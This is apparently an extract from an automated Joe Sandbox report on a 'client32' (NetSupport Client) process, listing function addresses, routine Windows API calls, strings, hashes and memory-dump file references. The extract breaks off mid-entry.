Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: c5edebcb86b8a007a6a1af48cd80f0235394c84cf34213d7754056fe959a7dee
Instruction ID: 6b943fba42bebc5ebf3cfcfc9c23cd16540ffeab11205f7f0861f1320acd89e1
Opcode Fuzzy Hash: c5edebcb86b8a007a6a1af48cd80f0235394c84cf34213d7754056fe959a7dee
Instruction Fuzzy Hash: F7F0BB70C44BD96AFB22CE5484445867FDA4F172A9F64C4DEDCD886501D375D188CB91

Function 110ED520 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED4E0: RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d Opening regkey %s, xrefs: 110ED54A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction ID: 5f226866219d47cdc22a26dd3dbb65f90c8b83d3a621ba21e11ce4a3e0407911
Opcode Fuzzy Hash: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction Fuzzy Hash: D8E092BB6012183FD221961F9C88EEBBB2CDB916A8F01002AFE1487240D972EC00C7B0

Function 110ED4E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d closing regkey %x, xrefs: 110ED4FD

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction ID: 17a63c7cb3d890cd37713e3b4debf5197f9ef4f9ed7a9792908d4a56e9be20d3
Opcode Fuzzy Hash: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction Fuzzy Hash: CFE08C7AA025126BE7359A2EAC18F5BBAE8DFC5314F26056EF890C7201EA70C8008764

Function 11146FE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102E424,11026BE0,02DDB888,?,?,?,00000100,?,?,00000009), ref: 11146FF9

Part of subcall function 11146270: GetModuleHandleA.KERNEL32(NSMTRACE,11195AD8), ref: 1114628A

Strings

NSMTRACE, xrefs: 11146FF4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: 149a01f821d4e18d225a109ec96b21c3577f6115cbc4ffed0645b8b98fb3f485
Instruction ID: 05ea96992fd141bf150828de6ed923b008e63955592f075fac88204ac5220611
Opcode Fuzzy Hash: 149a01f821d4e18d225a109ec96b21c3577f6115cbc4ffed0645b8b98fb3f485
Instruction Fuzzy Hash: 57D05B76641637CFDF069FB555A0575F7E4EB0AA0D3140075E425C7A06EB61D408C751

Function 6EEF4F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,6EEF8DC8), ref: 6EEF4F78

Strings

psapi.dll, xrefs: 6EEF4F71

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: d2a5fefbd768c24f65db5563c84f27c368fbe59f92a04106d721856bfeb1cbbc
Instruction ID: 9bcba0f0be294e711cdc8c1d5ef11f5b42e557ca48fb784bae964ee8747fa5b4
Opcode Fuzzy Hash: d2a5fefbd768c24f65db5563c84f27c368fbe59f92a04106d721856bfeb1cbbc
Instruction Fuzzy Hash: 46E001B1901B208F83B0CF3AA504642BAF1BB086513218A2E909EC3B10F370A584CFC0

Function 110262C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,11030964), ref: 110262C8

Strings

psapi.dll, xrefs: 110262C1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: b8f5042798fcb06a98c932a958d15ff0d02573e45559d2e155fe0703e5da3d60
Instruction ID: e72f5ce5ea606eebe772e5127c5e47cd0fc6cc19585cdbbc80c25ff44c20045f
Opcode Fuzzy Hash: b8f5042798fcb06a98c932a958d15ff0d02573e45559d2e155fe0703e5da3d60
Instruction Fuzzy Hash: 50E009B1A01B258FC3B0CF3AA544642BAF0BB086103118A7ED0AEC3A04F330A5448F80

Function 11015530 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102F63D,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client,Bridge), ref: 1101553E

Strings

nslsp.dll, xrefs: 11015533

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction ID: c3cee1b6b22d45073264887edccfc8dbbb46eef3a7360ad418ef0f3f90be1ef1
Opcode Fuzzy Hash: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction Fuzzy Hash: BBC08C702006245BE3900F48BC04081F694AF04900300882AE070C3600D160A8008F80

Function 11075090 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110750EF
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,0000000B,?), ref: 11075159

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: 4e56bc08cf6d4b85bc31047bf59587d3794f3c6155dff5afacd053865e97b66c
Instruction ID: 75615663fc9b5e204bff5cdf828812fccbd9a8c0715bb2e01743ee940980502e
Opcode Fuzzy Hash: 4e56bc08cf6d4b85bc31047bf59587d3794f3c6155dff5afacd053865e97b66c
Instruction Fuzzy Hash: 28219276E01268A7D710DE95EC41BEFBBBCFB44315F4041AAE90997200EB729A50CBE1

Function 6EEF5C90 Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32(910C34B3,4004667F,00000000,-000397EB), ref: 6EEF5D1F
select.WSOCK32(00000001,?,00000000,?,00000000,910C34B3,4004667F,00000000,-000397EB), ref: 6EEF5D62

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: ioctlsocketselect
String ID:
API String ID: 1457273030-0
Opcode ID: aed06a3d12a9ac42703fe9798e701e89d046e27cf5af1ea0a750254151e49b41
Instruction ID: b3bf303c071388ff37d4c6653572151c3319099248a18a701f3711e32115e43a
Opcode Fuzzy Hash: aed06a3d12a9ac42703fe9798e701e89d046e27cf5af1ea0a750254151e49b41
Instruction Fuzzy Hash: BC210E71A012189BEB28CF54C9647EDB7B9EF88304F4085DAE80D97281DB755F94DF90

Function 11060820 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 110608C3
__CxxThrowException@8.LIBCMT ref: 110608D8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 7a405ee56f1315c6ee1f340a3ff28517fdd231231b98c8aaa449bf634c5199d4
Instruction ID: 40c1b550870c83f0c669b419c7937a1de5292af9ae005a9ffb354a33ebb971cd
Opcode Fuzzy Hash: 7a405ee56f1315c6ee1f340a3ff28517fdd231231b98c8aaa449bf634c5199d4
Instruction Fuzzy Hash: F11181BA900609AFC715CF99C840ADAF7F8FB58614F10863EE91997740E774E904CBE1

Function 1105F7C0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105F806
_memmove.LIBCMT ref: 1105F811

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 5b978a5cc2cdba63a64411b19136718d8af37a4e7f400d0beed470777af2abcc
Instruction ID: e8b2e2ab67b960fffb59418ca6d045486158c88f9a02fc8ea8f4f968a4d4dde1
Opcode Fuzzy Hash: 5b978a5cc2cdba63a64411b19136718d8af37a4e7f400d0beed470777af2abcc
Instruction Fuzzy Hash: A3F02879A002566F8701CF2C9844897FBDCEF4A25831480A6E849CB302D671EC15C7F0

Function 110886C0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110886DF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070CC3,00000000,00000000,11182F3E,000000FF), ref: 11088750

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: b70e1f074512ce2ced997d39b2297f4199a589ff9b013c872d54b649f42912e3
Instruction ID: 67e0870afe33de0d146d23e59662f9f8cfec19dbcaf4764f519a7c8a3238bf1f
Opcode Fuzzy Hash: b70e1f074512ce2ced997d39b2297f4199a589ff9b013c872d54b649f42912e3
Instruction Fuzzy Hash: CC1157B1901B148FC3A4CF7A99816C3FAE5BB58354F90892E95EEC2600DB756564CF90

Function 11145010 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11145031
ExtractIconExA.SHELL32(?,00000000,0008046D,000700E7,00000001), ref: 11145068

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction ID: 51784f3a6cc6e5149e616e04a2eb2c6e0d372b09ba8f06c96ffc5d3ba3765e1d
Opcode Fuzzy Hash: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction Fuzzy Hash: F5F0BB79A4411C5FE718DFA0CC51FF9B36AE784709F444269E956D61C4CE70594CC741

Function 11164C77 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

__lock_file.LIBCMT ref: 11164CBE

Part of subcall function 1116BE59: __lock.LIBCMT ref: 1116BE7E

__fclose_nolock.LIBCMT ref: 11164CC9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
